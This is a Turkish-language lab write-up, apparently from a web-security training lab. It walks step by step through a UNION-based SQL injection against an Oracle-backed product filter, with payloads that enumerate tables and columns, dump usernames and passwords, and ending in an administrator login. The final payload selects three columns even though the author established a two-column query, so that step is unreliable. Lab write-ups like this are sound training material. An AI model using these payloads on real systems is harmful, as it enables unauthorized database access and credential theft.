Bu lab'de, product category filter üzerinden oluşan bir SQL Injection zafiyetini kullanarak veritabanı üzerinde ilerliyorum. Uygulama, sorgu sonuçlarını direkt response'ta gösterdiği için UNION tabanlı saldırı yapmak mümkün.
Hedef net: veritabanındaki kullanıcı bilgilerini tutan tabloyu bulmak, kolonları çıkarmak ve administrator hesabına erişmek.
Bu lab'de product category filter üzerinden SQL injection açığını kullanarak veritabanından kullanıcı bilgilerini çektim. Süreç boyunca hem klasik SQLi adımlarını hem de Oracle'a özel bazı detayları netleştirmiş oldum.
İlk olarak category parametresine tek tırnak (') göndererek başladım.

Bu aşamada uygulama hata verdi ve SQL injection yapılabildiğini doğrulamış oldum.

Sonrasında veritabanı hakkında bilgi almak için version sorgusu denedim.
Payload:
' UNION SELECT NULL,banner FROM v$version--
Response'ta Oracle versiyon bilgisi geldi.
Column sayısını bulmak için ORDER BY kullandım.
ORDER BY 2→ çalıştıORDER BY 3→ hata verdi

Buradan anladım ki:
→ Query 2 column döndürüyor
UNION attack için hangi column'ların string bastığını test ettim.
Oracle olduğu için FROM kullanmam gerekiyor, bu yüzden dual kullandım.
Payload:
' UNION SELECT 'a','b' FROM dual--
Response'ta hem a hem b göründü.
→ İki column da string basabiliyor
Artık veritabanını enumerate etmeye başladım.
Payload:
' UNION SELECT NULL,table_name FROM all_tables--
Tüm tablo isimleri geldi.
Buradan user ile alakalı olan tabloyu aradım.
User tablosunu bulduktan sonra kolon isimlerini çektim.
Payload:
' UNION SELECT NULL,column_name FROM all_tab_columns WHERE table_name='USERS_OQTEOY'--
Buradan şu kolonları elde ettim:
- USERNAME_NWEUBM
- PASSWORD_ZPMNGW
Son adımda direkt kullanıcı adı ve şifreleri çektim.
Payload:
' UNION SELECT NULL,PASSWORD_ZPMNGW,USERNAME_NWEUBM FROM USERS_OQTEOY--
Tüm kullanıcıların username ve password bilgileri geldi.
Buradan administrator kullanıcısının şifresini aldım.
Administrator kullanıcı bilgileriyle login oldum ve lab tamamlandı.
